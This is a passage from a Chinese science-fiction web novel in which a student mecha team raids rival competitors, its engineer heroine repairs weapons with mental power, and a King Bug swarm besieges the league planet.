刚才她精神力一动，青藤也蠢蠢欲动起来，只不过被她眼疾手快制止了。 净化一千多个B级士兵对她来说并不难，根本用不上青藤。 虽然青藤的技能能让她净化时不怎么消耗精神力，但是青藤一发力她的精神力就冒绿光。 不仅她的精神力会像个妖精一样突然显形，连带着被她攻入精神海的士兵也会被散发着绿光的精神力包围，画面太美赵宴月不敢看。 缠在指间的小蛇百无聊赖地吐了下蛇信子，重新缠回赵宴月的手臂上，闭上眼睛睡觉。 一个小时过去、两个小时过去、三个小时过去……殿下的精神力好像没有用完的时候。 天市星的士兵们除了正常的战损淘汰外，依旧没有出现污染值达到60%后被强制淘汰的情况。 眼见这一波高等级虫族越来越少，天市星的积分越来越多，西廷尔的选手们终于憋不住了。 谢玄春：“我不理解。” 应天悦：“……我们还帮忙吗？” 洛狸：“……帮什么帮，动手，现在叫抢怪。” 不仅西廷尔的人不理解，网友们更加不理解，不过大家说到底对B级净化师应该是什么水平也只有个模糊的了解。 虽然心里觉得这情况太诡异了，但是又不敢轻易得出这是A级净化师的结论。 有人找到云中宫殿的官方星博打听这是不是B级净化师能做到的，却只得到了“B级净化师的净化能力没有具体标准，要看精神力里净化因子含量”的答复。 云中宫殿回答着官方的废话，网友们的分析贴写了八百篇，结果说来说去也都是怀疑和猜测，谁都不敢相信会是A级净化师。 只不过净化师投票里，莫听然原本低迷的票数开始迅速上涨。 只有真正的净化师们心里已经门儿清，认定了天市星队伍里的净化师就是A级的莫听然，身上有种看破一切的从容。 云中宫殿里属于这一届净化师的长生碑上有个空缺，而且这个空缺的位置压在了贺如故的名字前面，这件事被大家从开学讨论到现在，只不过一直没有争出个结果。 现在看来真是一切逻辑都圆上了。 如果只是个B级净化师搞得这么与众不同，大家心里还多多少少有点意见，但是是A级那就没事了。 而另一边当天市星队伍付出了巨大代价，终于堪堪将那波恐怖的虫潮击退得差不多的时候，西廷尔的队伍也去而复返。 洛狸的声音透过机甲传来：“看来你们遇到大麻烦了，我们现在就来帮你，不必客气。” 话说得冠冕堂皇，但就算所有人都清楚这纯纯是趁火打劫，大家也没法丢着虫族不管，去和西廷尔这群不要脸的打起来。 天市星的队员们气得牙痒痒却无可奈何，司焕磨了磨牙，平静道：“那真是谢谢你们了。” 西廷尔也根本不需要他们同意，如同高效的收割机器般迅速清理着战场上残存的高等级虫族，赚取着也不轻松但损耗最小的积分。 他们的状态比天市星的选手们好得多，赚积分的效率也比已经被榨干得差不多的天市星选手们更高。 被占便宜着实令人不爽，莫听然咬牙切齿道：“好不要脸。” 季长夏忍气吞声地安慰自己：“反正大头是我们的，让他们喝点汤也没什么。” 赵宴月笑眯眯道：“我有个馊主意。” 新来的观众们不明所以，而已经对赵宴月很熟悉的观众一听她这话眼皮狂跳。 “众所周知，垃圾女王的馊主意真的很馊。” “虽然很好奇是什么馊主意，但是我现在目光粘在莫听然的身上扒都扒不下来，看她干什么都亲妈眼。” “云中宫殿现存的第十位A级净化师，我从莫听然身上看到了好刺眼的光芒……” “真的溺爱了，莫听然一笑我也想笑，她不爽我也跟着不爽，希望西廷尔不要不识抬举。” “是不是A级还是个问题呢，现在还没有任何一名A级选手被净化过，别期待完又破防。” “我只花一秒就猜出楼上是太微星的，不难看出你现在就很破防，积分要被反超了很着急吧。” “到底是什么馊主意！” 第109章 正和S级虫族浴血奋战的许白亦突然感觉自己精神海被攻破了。 他动作丝毫没停, 加速斩杀了面前的虫族，然后等待某不知名净化师的指示，毕竟能攻破他精神海的除了某不知名净化师压根就没有其他人。 果然, 下一秒赵宴月的声音就出现在许白亦的脑海里, 和他嘀嘀咕咕了半天“先这样再那样”。 观众们不知道他们私底下在干什么，他们只看见赵宴月召唤出机甲就冲进了战场。 两人一会和, 就偷感很重地接近了在虫潮里和虫族打得昏天暗地的西廷尔选手。 他们的身影悄无声息地出现在西廷尔选手的侧后方，而西廷尔的选手们对天市星的对手也并没有什么防备。 于是他们根本来不及反应，只感觉到脚踝和肩膀分别遭到一股巨力撞击, 下盘瞬间失衡。 机甲角度刁钻地轰的一声狠狠摔倒在地发出巨大声响，但混在本就嘈杂的战场上并不突出。 驾驶舱里的选手因为头部受到撞击而短暂宕机, 直接被震晕了过去。 正在和西廷尔选手打架的虫族也一愣，刚怀疑人类里出现了内鬼，结果立马就被许白亦送去面见了上帝。 观众们还来不及打字说什么, 就见赵宴月扛着西廷尔选手的机甲就往后方跑, 而已经等待多时的工程师们此刻也如同饿虎扑食般冲了上来。 莫听然响应得最快，立马指挥道：“快快快！扒了他们的武器！” “速度快点！他们晕不了多久, 等人醒来之后就把机甲收回去了！” “哇！好多能源武器！” 工程师们眼冒绿光，动作比起晚上加装武器的时候快得多, 不难看出人在干坏事的时候什么潜力都能被激发出来。 这一整套训练有素的丝滑小连招下来, 观众们简直目不暇接, 紫微星和太微星的观众们哪见过这种阵仗, 更是看得一愣一愣又一愣。 被赵宴月扛来的机甲一个个都被拆得七零八落, 精良的能源武器被洗劫一空。 随着场上的虫族逐渐被清空，赵宴月和许白亦两人鬼鬼祟祟的行动终于藏不住了。 天市星的工程师们打包好战利品，被赵宴月带着一溜烟地跑回了自家阵地，躲到了刚刚恢复一些的S级尖兵身后。 许白亦将缺德事都干完了才觉得无颜面对江东父老, 赵宴月嫌弃地将他往身后一拉，自己十分嚣张地站在了最前方。 作为拥有不低于S级机甲尖兵战力的的工程师，她的底气简直足得可怕。 珠光宝气的少女拍了拍手上的灰，对着脸色铁青的对面队长露出了一个客气又不失礼貌的微笑。 “为了感谢你们帮忙击退虫族，本人思来想去无以为报，所以决定帮西廷尔的选手们减轻负重。” 洛狸斟酌了一下自己和她打起来谁能赢，最后平静道：“那真是谢谢你了。” 赵宴月谦虚地摆了摆手：“说这种客气话干什么。” 太微星、紫微星网友：“……” 这一战天市星队伍的消耗巨大，接下来的行程都被安排在了赶路上。 当司焕带着人数庞大的队伍从只剩两百多人的西廷尔面前经过时，应天悦气得牙痒痒。 “他们故意的吧，非得在我们面前晃一圈。” 天市星队伍的背影看得人心里鬼火直冒，而每日一次的积分随机播报这时也从光脑里弹了出来。 【今日积分排名第一位：法温莎军校，第二位：天市星军校，第三位：西廷尔军校】 积分播报完，应天悦也顾不上生气了，皱眉道：“这么下去不行，他们人太多了。” “人多还不是他们最大的优势。”洛狸回忆了一下天市星在战斗中的表现，语气冷静中透着一丝命苦：“他们的士兵在没有污染影响的状态下，四五个士兵可以合力击杀一个A级虫族，直接打破了虫族无法越级挑战的常规。” 在实力和污染的双重压制下，几乎没有人可以在污染值突破80%的生死线前击杀比自己等级更高的虫族。 编号星上的边防军面临虫潮时，净化师只会在后方净化高度污染下场的士兵，士兵们被净化后再重回战场作战。 出于安全问题考虑，净化师所处的后方离战场十万八千里，自然也不会出现边打边净化以至于越级斩杀虫族的情况。 谢玄春倒是半点没焦虑，他一直以来都十分心平气和，此时的关注点也很特殊：“现在该着急的是法温莎吧。” 比起万年老二变老三，还是万年第一的第一名可能要不保更有冲击力。 虽然今天积分重回第二，但是天市星营地内的气氛却并非全然的欢欣鼓舞。 选手们倒是士气振奋，一改之前的郁郁寡欢，而工程师们除了兴奋更多的是头大。 面前的能源武器战利品有不少，但是选手和士兵的武器也在苦战中大量受损，全都需要进行修复。 “这么多武器要修，这可怎么办。” “看看这些断裂的引力脉络，这怎么也得修两天。” “我们工程队一个人都没少，为什么还是出现了武器修不过来的问题。” 就在工程队愁云惨布之际，赵宴月喝完营养剂后慢悠悠地踱步过来，死装道：“区区几百件武器，这很难吗。” 莫听然茫然反问：“这不难吗。” 季长夏忧愁道：“也不是精神力不够的问题，主要是架构引力脉络对精神力操控的精细度太高了，需要时间。” 见气氛已经铺垫得差不多了，赵宴月强忍着兴奋，风轻云淡地终于说出了那句话：“菜就多练。” 看在她是队长的份上，莫听然忍气吞声，做了个请的动作：“来来来，你行你上。” “我上就我上。”赵宴月哼笑一声：“让你们看看什么才叫真正的技术。” 真当她数以不知道多少计的净化晶源都是白净化的，关于精神力操控这方面，赵宴月已经手拿把掐。 成百上千条细如发丝却凝练无比的精神力丝线自她指尖迸发，精准地缠绕上好几件损坏程度各异的武器。 沉重而庞大的武器悬浮在空中，甚至都不需要引导棒的辅助，一条条引力脉络就这么在武器内部重构。 脉络重构完成后，武器上光芒一闪又重归沉寂，轰的一声砸落在地。 在维修武器的同时，赵宴月甚至还拿着引导棒在给机甲进行武器加装。 整个维修现场仿佛变成了一个由精神力驱动的精密工厂，一个个武器像是进了流水线般在她周围悬浮又砸下，循环重复。 莫听然不信邪地捡起一件比她人还高的电磁炮，灌输精神力后使出吃奶的劲扛起大炮往远处一轰，蓝色的流光在天上划出一道清晰的轨迹，而后正坐在篝火边的尖兵们只感觉屁股一震。 众人茫然询问：“有敌袭吗？我怎么没感应到。” 莫听然将武器咚的一声放到地上，尴尬而不失礼貌地微笑道：“没什么，测一下武器的运行情况。” 赵宴月放下正在加装武器的引导棒，扭过头朝莫听然露出一个不尴尬也不礼貌的微笑：“早说了菜就多练。” 莫听然：“……” 这下不仅仅工程师们，就连本来还不明觉厉的网友都看得目瞪口呆。 “告诉父老乡亲，我们机甲工程届出了个天才。” “这是人？” “是这样的！我们兰柏林机甲工程专业学生的水平就是这样的！欢迎大家报考兰柏林机甲工程专业。” “楼上吹牛皮别带上我。” “对对对，就这么把人骗进机甲工程。” “被垃圾女王吓晕，你还有什么惊喜是朕不知道的。” “我服了，这一届联赛天市星真的开大挂，其他人能玩？” 与此同时，联邦最高作战指挥中心的气氛与天市星营地上的火热截然不同。 电子设备的轻微嗡鸣声在空间内响起，四面八方的大屏幕上划过一串串的数据流。 巨大的全息星图上，代表异常能量波动的危险红色区域正在一点点接近灰烬-III星。 “检测到超大规模空间跃迁，坐标点7-Theta至9-Kappa区段。” “虫族特征匹配完成，确认为战略级空间跃迁，规模前所未有，能量读数失败，已突破历史极值。” “预测虫族目标坐标为灰烬-III星联赛赛场，预计先头部队抵达时间还有37标准时。” 待分析员的声音落下，作战指挥中心内安静了许久，才有军官接话道：“能量读数失败……这不是清缴虫巢引来的小打小闹，高等级虫族已经准备和联邦正式开战了。” “它们为什么这么着急？王虫如今还没脱离成长期，就算要打也不应该是现在打。” 主位上，闻星洲的目光快速扫过各项数据，指尖划过星图上天市星代表队的坐标。 “召集第七到十五星际舰队即刻结束巡弋任务，跃迁至目标星域外围，构建第一道防线。” “组织所有能调动的远征军团和边防军团向灰烬-III星靠拢，各星球附属编号星上只留常备部队，进入最高战备状态。” “通知云中宫殿，组织所有C级以上净化师去后方准备支援。” 随着最高指挥官的话音落下，整个指挥系统高效运转，将指令拆分成一条条小指令层层分配，最后精准落到每一个现役部队的战士身上。 闻星洲说到这顿了顿，手指在桌面上敲击片刻：“通知联赛指挥中心军方已介入，选手积分录入继续。” 执政官和军官们闻言，心里已经明白这是让选手们也参与作战的意思。 三方代表队的选手们绝大多数都是即将毕业的学生，毕业之后上战场和现在就上战场也没什么区别。 或者说面对虫族的大规模进犯，本就势弱的联邦如今必须调动所有能用的武力应战，更别说这些选手都是S级机甲尖兵，也是唯一能应对S级虫族的尖端力量。 “如果王虫也来了，恐怕这些准备还远远不够。”太微星的执政官开口道。 “不可能，王虫还没脱离成长期，不会轻易离开巢穴，如今也不是它实力最强盛的时候。” 此时又有人接话：“不管王虫来不来，这些准备都已经是联邦能调动的所有武装力量。” 天市星的首席执政官语气格外从容：“祈祷它别来，联邦几斤几两大家都知道，没有王虫联邦都不一定干得过虫族，不然真是完蛋喽。” “你真是十几年如一日的不着调。” “多谢夸奖。” 灰烬-III星上的众人并不知道危难将至，司焕看着战术地图眉头紧锁，叹气叹了一声又一声。 “怎么想都拿不到第一啊……我和你说话呢。” 许白亦目光正注视着不远处正在大家震撼目光下愉悦炫技的赵宴月，他闻言扭过头看向司焕，十分冷淡地接过话题：“怎么说。” 有人捧哏的司焕这下满意了。 “抵达拔旗点大概还有一天时间。”司焕的手指点了点地图，然后滑到拔旗点的位置，“时间不多了，附近的虫巢数量有限，就算全部清剿，积分恐怕也难以超越法温莎。” 司焕说到这，稍微计算了一番：“要想充分发挥我们士兵数量的优势拿下第一，必须遭遇大批虫族或进行长时间作战，这样才有望赶超法温莎，但现在不管是时间还是能击杀的虫族都不够。” “你真是贪心。”许白亦不咸不淡地锐评：“之前积分垫底的时候你都没这么焦虑，现在反倒烦恼起拿不到第一了。” “之前是我有眼不识泰山了，这一届联赛我们天市星的优势绝无仅有，失去了这个机会，往后好多年估计都是垫底。” 司焕说到这直接就地往后一趟，看着天上漆黑的天幕道：“我们拿个第一，以后学弟学妹们对联赛的名次好歹还有争一争的野心。” “我觉得第二也可以。” 听到许白亦这么心平气和，司焕有些狐疑地问道：“这可不像是你会说的话，我记得你们斯伦的校训不是有一条‘勇争第一’吗？作为斯伦的一根筋学生，你现在怎么对这条校训不闻不问了。” “那也得看实际情况，第二已经是超出我们实际水平的成绩了。”许白亦屏蔽了司焕对斯伦的人身攻击，与世无争道：“最重要的是不要将所有的期待和压力放到一个人身上。” “喔？”司焕眸光一顿，从地上慢悠悠地坐起身，“看来许白亦同学是知道殿下是谁了？” 他顺着许白亦之前看过去的方向看了一眼，只见坐在人字梯上的赵宴月占据了视线的C位。 赵宴月此时正指着修武器修得汗流浃背的工程师们捂着肚子狂笑，疯狂嘲讽他们“在座的都是垃圾”，嘴里还时不时伴随着“菜就多练”的叫嚣。 别说是金尊玉贵的殿下，就是一点队长的稳重风范都从她身上看不到。 不出意外，他应该是被许白亦带到沟里了。 感受到司焕的视线，许白亦朝他露出了一个无辜的笑。 第110章 随着越发接近拔旗点, 队伍里的紧张气氛也快要凝成实质。 三方代表队都不约而同地加快了清缴的速度，如同利剑般划破荒原，竞相追逐着朝着最终的目的地疾驰。 天市星和西廷尔彼此间甚至能通过远程观测设备看到对方队伍的动向, 但是法温莎还暂时落在了后方。 法温莎是目前的积分第一, 不管是天市星拔旗还是西廷尔拔旗对他们来说结果都一样，但他们依旧在全速往拔旗点赶去。 “观众朋友们, 拔旗点已经近在眼前！随着两天的清缴过去，可以明显看出天市星和法温莎的积分差距正在逐步减小，可惜最近一次积分播报中法温莎军校依旧排名第一, 只能说不愧是法温莎！” “昨天的第一不代表是今天的第一！就连专家团都无法预知今天的积分第一是否还是法温莎！这说明我们和法温莎的差距已经微乎其微！虽然西廷尔军校积分暂列第三，但没什么事是绝对的, 他们依旧有反超的机会。” “天市星队伍确实将人多力量大的优势发挥到了极致！不过他们到底能否凭借士兵数量的优势在最后时刻实现反超？法温莎能否守住他们的王座？西廷尔又能否在逆境中逆袭？比赛已经进入了最后阶段，一切悬念都即将揭晓！” “是的！不管今日积分播报什么时候出现，法温莎都不会像往届一样有闲心等到确定排名的那一刻了, 他们一到目的地必会直接拔旗, 毕竟时间拖得越久对他们来说越不利。” “目前来看法温莎队伍最早明天早上就会抵达拔旗点，到底谁能拿下本届联赛冠军, 让我们拭目以待！” 在星闻速递两位主持人的解说声中，西廷尔和天市星的队伍已经率先抵达了拔旗点。 三十米高的旗杆立在一个山坡之上, 耀眼的三角红旗风声猎猎, 旗帜上金色的联赛徽章熠熠生辉。 西廷尔和天市星队伍极有默契地各自分出一支小队, 如同钉子般驻扎在拔旗点附近的高地上, 谁都没有试图拔旗。 他们的任务很明确, 监控对方动向，防止对方提前拔旗，为自家主力争取赚积分的时间。 西廷尔想着反超天市星，害怕此时已经位于第二名的天市星直接拔旗, 留下了一支精锐小队守旗。 而天市星这次野心十足，对第一的位置虎视眈眈，根本不急着拔旗，留下守旗的是本身也不参与作战的工程师队伍。 守旗只是为了以防万一，至少在法温莎抵达拔旗点之前，这扇旗帜估计都不会被动。 双方的主力部队丝毫没有在拔旗点停留，以极快的速度以拔旗点为中心向着周边区域散开，争分夺秒地搜寻着虫巢。 天市星的工程师们则负责起后勤工作，帮大部队扎营，方便伤员回营地修整。 赵宴月没有跟着尖兵们去赚积分，她能感觉到小五已经有了升阶的迹象，便将它留在了精神海里吸精神力尽快升阶。 如今已经到了最后的时刻，就是在联赛结束之前升到21阶也没时间开挂了。 开局数值就被砍了大半的赵宴月忧愁地叹了一口气。 莫听然奇怪地看了她一眼，问道：“你怎么了。” “要是我们队伍要是拿不到第一，那只能是天市星运道的原因，真得找高人看看风水了。” “今年还算运道差吗。”莫听然难以理解，下意识拉高了音量反问，“我们现在可是保二争一！而且紫微星刚好抽到了和我们一样的最差物资包，这简直就是天时地利人和。” 赵宴月深沉地摇了摇头：“我和你说不清楚。” 但凡她能稍微早点升阶，不止是士兵，天市星队伍里S级选手们的淘汰率也会显著低于其他队伍，可以直接在联赛里横着走，哪会像现在这么胶着，鹿死谁手至今仍未可知。 就在这争分夺秒、空气都仿佛要燃烧起来的时刻，工程师们在帐篷外与世无争修理着武器。 他们手里的武器都是从淘汰选手身上扒下来的武器，这样就可以修一批用一批地循环使用，不会出现空窗期。 谢玄春盯着赵宴月炫技式的武器维修盯了许久，最后还是没忍住蹭进了天市星的队伍里，和她一起探讨起引力脉络的架构。 工程师们都十分岁月静好，然而灰烬-III星外侧的宇宙中，光线忽然变得暗沉。 仿佛能吞噬一切光线的阴影骤然笼罩了整个天地，早已备战多时的联邦军队纷纷看向了同一个位置，心脏陡然一沉。 无数高等级虫族从跃迁点出现，他们身上未知的特殊金属仿佛具有某种吸光的特质，黑暗瞬间覆盖了舰船和飞行单位。 联邦的钢铁巨舰如庞大的移动堡垒，此刻却在那无边无际的虫潮下显得有些单薄。 虫族是没有感情的战争机器，它们不知恐惧为何物，只知道听从命令发起进攻，比人类看着更加英勇无畏。 即便人类的高科技能源武器对虫族的伤害十分有限，此时也各种能量炮齐飞，透出能打出一点伤害是一点的无能为力。 S级虫族类人的外形上顶着冰冷的触角，它们悬浮于战场之中，穿梭于炮火的间隙。 恐怖的精神污染形成了一片无形的死亡领域，而S级虫族随手组成的金属刀刃就能轻易撕碎S级以下机甲尖兵的机甲。 宇宙中无声地绽放着无数爆炸的光团，每一秒都有虫族和机甲尖兵化作冰冷的飞灰。 机甲残骸与尸骸漂浮成可怖的星环，环绕着灰烬-III星。 拔旗点营地里的众人对此一无所知，山坡上的旗帜依旧迎风招展，营地里的气氛更是热闹又紧张。 选手们正在恢复精神力，有人看了一次又一次时间，疑惑道：“今天的积分播报怎么这么晚还没来。” “是死是活就看这一次播报，法温莎的队伍明早就要抵达拔旗点了。” “不知道积分赶超了没有，但凡再给我们一天时间，我感觉咱们必定能超过法温莎。” 西廷尔的选手们看着对面热热闹闹的天市星队伍直翻白眼，语气酸成柠檬：“作弊怪。” 不仅是选手们在等积分播报，网友们更是心急得像是热锅上的蚂蚁。 “孩子出息了，天市星这一届竟然有望拿下第一。” “别半场开香槟，虽然天市星士兵多，但是淘汰的S级选手也比法温莎多，到底谁夺冠还是个问题。” “不知道为什么，我现在左眼皮狂跳，总有一种不祥的预感。” “什么不祥的预感，预知到你们星要输了？” “垃圾女王在干什么，为什么突然抬头看天上，天上什么都没有。” 天上确实什么都没有。 赵宴月往天上看是因为刚才撒因突然上线，提醒她联邦的武装部队和虫族在星球外打起来了，战争十分惨烈。 【按照目前的形式估测，联邦的第一道防线顶多能撑六个小时，其他部队还在赶来支援的路上】 【咱们跑路吧，这里太危险了】 “跑哪去？”赵宴月消化了一下信息，反问道：“现在是可以跑，但虫族一旦胜利立马就会攻进宜居星，哪里都不安全。” 【你怎么会想着回宜居星，当然是回地球，我现在的能量刚好够咱俩回去】 【虽然回去就回不来了，不过那时候三垣星系也早就完大蛋了】 赵宴月沉默片刻，然后烦躁地抓着头发走来走去：“那我的爷爷奶奶干爹干妈狐朋狗友怎么办。” 撒因闻言也沉默了片刻，然后语气透露出些许疑惑。 【你管他们怎么办，当然是和我网上的好朋友们一起完蛋】 【还有你哪来的干妈】 “那你别管，以后总有。” 赵宴月不爽地说完，终于不再走来走去，反手批评道：“不愧是高维生物，人类在你眼里就像是蝼蚁。” 【现在三垣星系的情况真的很危险，让你和我一起回地球是因为我觉得你比所有人都重要】 撒因委屈极了，机械音都低落了下来。 【所有人里也包括我在星网上交的好朋友，他们完蛋了我也会伤心】 赵宴月瞬间眼神都清澈了，她冷静了下来，别扭道：“对不起总行了吧。” 撒因用机械音哼了一声，语气也别扭极了。 【行吧】 【你一定要保护好自己，我的能量可不够让你起死回生的】 赵宴月：“……” 就在这时，每日的积分播报姗姗来迟，从光脑上弹了出来。 【今日积分排名第一位：法温莎军校，第二位：天市星军校，第三位：西廷尔军校】 积分播报一出现，天市星的队伍里顿时发出一阵叹息，没想到积分还是没能打过法温莎。 他们现在精神力都回复得不多，再怎么不甘心，也没法连夜去清缴虫巢赚积分。 司焕见状站起身道：“第二名也不错，再说旗帜不是还没拔下来吗，大家先休整一晚，我们明早抓紧最后的时间再去赚点积分。” 他一开口，众人想了想又死灰复燃。 谁也不清楚法温莎具体什么时候抵挡拔旗点，只要抓紧时间还是能再扣一点积分出来的，说不定就差那么几分呢。 再说了第二名也不错，至少他们终于没有再垫底。 许白亦看着赵宴月的脸色变了又变，以为她也在因为排名的事不爽，一声不吭地将正放在篝火里烤的烤肉递给她。 “灰烬-III特产星兽肉，听说味道不错。” 赵宴月回过神接过树杈子，脸色阴沉地咬了一口上面的肉，然后看向许白亦问道：“有人说过你做饭很好吃吗？” 坐姿端正的少年愣了愣，然后摇了摇头：“没有。” 赵宴月将嘴巴里半熟不熟的肉吐了出来，十分刻薄道：“那你还给我烤肉，好难吃。” 许白亦：“……” 虽然早就发现她心情不佳，但是现在看来，这个不佳的程度比他想象的还要恐怖。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-117 第111章 天色将亮未亮, 远方的天际线仿佛被无形巨手撕开，骤然涌现出一大片黑云压城城欲摧的阴影。 正在守夜的选手们率先发现异常，尖锐的警报哨声瞬间从四面八方响起。 选手们面对突发情况, 训练有素地迅速集合, 然后就纷纷抬头看见了让人头皮发麻的一幕。 空间如同破碎的玻璃，裂开无数道狰狞的缺口, 高等级虫族如同瀑布般倾泻而下，瞬间淹没了远处的山丘和平原，并以恐怖的速度朝着拔旗点合围而来。 大批大批的S级虫族散发着令人灵魂战栗的压迫感, 悬浮于空中俯视着大地，其数量之多远超以往任何一次虫潮。 在这绝对的数量和力量差距面前, 选手们大脑都空白了一瞬，被这景象震慑得无法思考。 与此同时，联邦的主力部队也终于抵达战场, 密密麻麻的舰体如同山岳般压下, 机甲尖兵鱼贯而出。 一具具涂装着联邦星徽的机甲如同神兵天降，从云层中俯冲而下, 精准地率先迎击在虫族的先头部队，遏制了它们推进的势头。 军队指挥冷静的声音在通讯频道内响起：“我是本次战役最高指挥官, 联邦军队已介入, 所有选手听从各自指挥调度, 积分记录继续。” 本来已经不自觉围到一起的天市星和西廷尔队伍在看到联邦军队的时候悄悄松了一口气, 短短几分钟身上已经冷汗直冒。 差点以为他们这一千多个人要直面如此大规模的虫潮, 这和送死也没什么区别。 各平台的在线观看人数达到了历史峰值，网友们看着镜头里的画面感到一阵毛骨悚然，一时间人人自危。 “编号星上的大大小小虫潮里，S级虫族少则一个多则几十个, 现在光是我看到的画面里已经数不清有多少了。” “虫族是疯了吗，S级虫族从来没有这么大规模的集结过。” “这起码有几十万高等级虫族，编号星上的虫潮数量再多也只是低等级虫族，和这比起来简直是小打小闹。” “你们还不懂吗，能指挥这么多S级虫族同时出战的，只有曾在历史上出现过的王虫！新的王虫出现了！” “你别骗我了，联邦没通知我就不信！” “联邦一通知整个世界都要乱套，这么大规模的军队能及时赶到说明联邦早就开始进行人员调动了，你看联邦会和你说吗？” “感觉历史上的百年黑暗时期要重现了，我现在心慌手抖浑身发冷。” “还好这个星球上的虫巢都清缴得差不多了，不然我都不敢想现在会是什么场面。” “那段时期黑暗的原因就是S级虫族在王虫的指挥下大规模进犯，然而我们没有应对的实力，虫族轻轻松松就能攻破编号星，导致宜居星上时不时就会出现虫族，每天都有无数的人死去，而你永远不知道下一个死掉的人是不是你。” “是的，这一战明显出动了双方大部分武力，如果失败，那就是第二次黑暗时期的开幕。” 一旦牵扯到自身的生命安全，不管好人坏人，每个人都在疯狂祈祷联邦能够胜利。 电蝇蛾传递过来的直播画面都是混乱抖动的，只能看见选手们和无数涂装着联邦星徽的机甲与虫族绞杀在一起。 画面里每一个我方士兵的牺牲都让屏幕前的所有人都喘不过气，但是身为普通人的他们除了眼睁睁地看着外，什么都不能做。 只有赵宴月的直播画面格外平静，她一动不动地坐在帐篷里，任由外界的厮杀声震天，都没有要出去的意思。 随着小五越发接近21阶，她现在连净化B级精神海都做不到了，偏偏屋漏更遭连夜雨。 当担心赵宴月的网友们找到她的直播间时，拔旗点附近的营地附近已经一个人都没有。 就连平时基本不参战的工程师们此时都英勇无畏地踏进了战场，而她一个S级工程师，工程师里最应该参战的人此时却还待在帐篷里。 能这个时候找来她直播间的都算是关心她死活的真爱粉，见状也没有直接骂出声，询问的语气还算冷静。 “垃圾女王你怎么了？没有精神力了吗？” “S级精神海回复精神力是最快的，一晚上过去她怎么可能没有精神力。” “垃圾女王之前清缴虫巢的时候没少出力，我不信她是在逃避战斗。” “清缴虫巢的时候面对那些低等级虫族可没有生命危险，这不是逃避是什么，她就是怕了。” “虽然我也没理由去指责什么，但是看到这个画面真的很失望。” “只能说一切都是有迹可循的，她之前就是因为S级精神海却死活不契约机甲战宠才被全网黑。” 联邦军队的出现虽然带来了希望，但并不代表带来了胜利，防线不断收缩，伤亡急剧增加。 不知何时赶来的法温莎队伍中，贺江山一剑劈开一只A级虫族，语气稍显急促：“这么下去撑不住，你的技能能用吗。” 闻怀玉没有回答，他驾驶的机甲抬起了手，一道炽白到极致、仿佛能净化一切污秽的火焰从掌心迸发。 白色的火焰化作一道鸟雀的虚影，猛地从侧翼虫族最密集的地方升腾而起。 这道白色的火焰并不如它的颜色一般温和，被火焰卷入的虫族连惨叫都来不及发出，便在极致的火焰中化为虚无，连周围的污染都被瞬间蒸发一空。 官方解说一向冷静的声音此时都有了波动：“闻怀玉的炎羽雀涅槃了！” “是的，闻怀玉的契约灵兽炎羽雀十分特殊，每当身上的火焰耗尽就会化作一堆灰尘，经过很长一段时间后才能涅槃重生。” “虽然技能大部分时间都处于用不了的状态，但是炎羽雀的火号称能焚烧万物，大家也可以看到能用的时候是真的强！” “它身上的火连污染都能焚烧殆尽！火焰短暂地清空了一大片区域的污染，也极大地缓解了战士们的压力！” 有了炎羽雀的白焰虚影游走在战场上，所有陷于苦战的战士们精神一振，在强压之下又升起了些许击退虫族的希望。 网友们见状更是激动到热泪盈眶，只能用疯狂的赞美来抒发自己的心情，见联邦拿到优势后连语气也活跃了起来。 “闻指挥真的太强了！直接扭转战局！” “我从他高三就开始关注他了，不得不说我真的很有眼光。” “真能扭转战局吗，炎羽雀身上的火够用吗。” “难说，炎羽雀身上的火消耗完了就没了，这不是有精神力就能放的技能，而且这种规模的战役一时半会儿没法结束。” “殿下不会也上战场了吧，虽然上战场肯定比在后方负责净化作用更大，但是我真的很担心。” “话说有人看见垃圾女王在哪了吗？她的技能爆炸起来也挺猛的其实，大范围AOE。” “殿下也上战场了，因为天市星的工程师队伍除了垃圾女王外所有人都上战场了。” “……垃圾女王在干嘛？” “不想说，你好奇的话可以自己去她直播间看。” 网友们并没有来得及去翻找赵宴月的个人直播间，就在战争已经进行到白热化阶段的时候，就在他们看到些许击退虫族的希望的时候，战场上的所有声音仿佛都被抽离了，只剩下令人窒息的死寂。 闻怀玉清出来的大片未污染区域重新被比之前更加浓重的污染覆盖，一股无法形容的恐怖威压自人内心深处升起。 高空之中，一个不知何时出现的模糊身影静静地注视着地面。 战场被它眨眼间切割成了无数小块，而后又重新组合排列，最终将几十万名战士们全部封锁在一个个小空间内。 空间外的虫族见到王虫出现，纷纷匍匐在地。 王虫头顶的触角微动，不知道说了什么，满地的虫族匍匐的姿势更深了，而灰烬-III星上的低等级虫族更是抖成了筛糠。 在空间封锁出现的瞬间，联邦的士兵便损伤惨重。 战场对王虫来说仿佛只是一个游戏，它依次放出一个个小空间里的战士，等被外面的虫族屠尽后又解锁下一个。 空间里的人仿佛成了待宰的羔羊，而这并不代表在屠刀落下之前，空间内就是安全的。 已经高度污染的战士们一下子失去了撤退的空间，无法脱离战场返回后方进行净化。 随着污染值达到100%，面临的不是精神海崩塌而是直接死亡，在场近百万战士，每被封锁一秒都有不知道多少人牺牲。 人群中时不时有人机甲化作流光消散，驾驶舱里的人捂着头从空中坠落，而后痛苦挣扎一段时间便没有了生机。 如果说之前联邦还能和虫族打得有来有回，但王虫的出现几乎宣告了胜利的天平已经完全向虫族倾斜。 它甚至什么都不需要做，只需要站在那里将所有人都封锁住就已经足够。 随着时间一点点过去，所有人都会被耗死在这里，甚至这个过程都不会太漫长。 闻怀玉的火刚烧破王虫的空间，下一秒就被王虫抬抬手又封锁了起来。 王虫漠然的目光看向闻怀玉，对这种反抗既升不出什么兴致，也没有你来我回的耐心。 刚刚升起的希望随着王虫的到来被彻底碾碎，绝望如同最深沉的寒冰，冻结了所有人的心脏和血液。 “完了，全完了。” “垃圾女王总是能做出最正确的选择，比如所有人都上战场了但是她不上，现在看来真是明智的选择。” “唯一的办法就是让后方的殿下们全部过来净化，但显然这根本就不是办法。” “不是办法你就别提了，S级机甲尖兵对上王虫都没办法，你让殿下们过来送死吗。” “王虫一出现，解说都不说话了。” “天市星队伍里的殿下为什么不净化了，我看到好多战士都因为污染牺牲了。” “动动你的脑子，在场快一百万人，她一个人哪里净化得过来。” “……可能殿下也牺牲了，我甚至不知道她是谁。” 王虫的空间封锁就像是无解的难题，就算打破了空间，下一秒它立马就能重新进行封锁。 就在战场已经变成虫族的单方面屠杀之时，一具不知道从哪出现的银白机甲速度很快地直冲天上的王虫而去。 清晰而冷静的声音透过机甲外扩传声器传来。 “闻怀玉，火！” 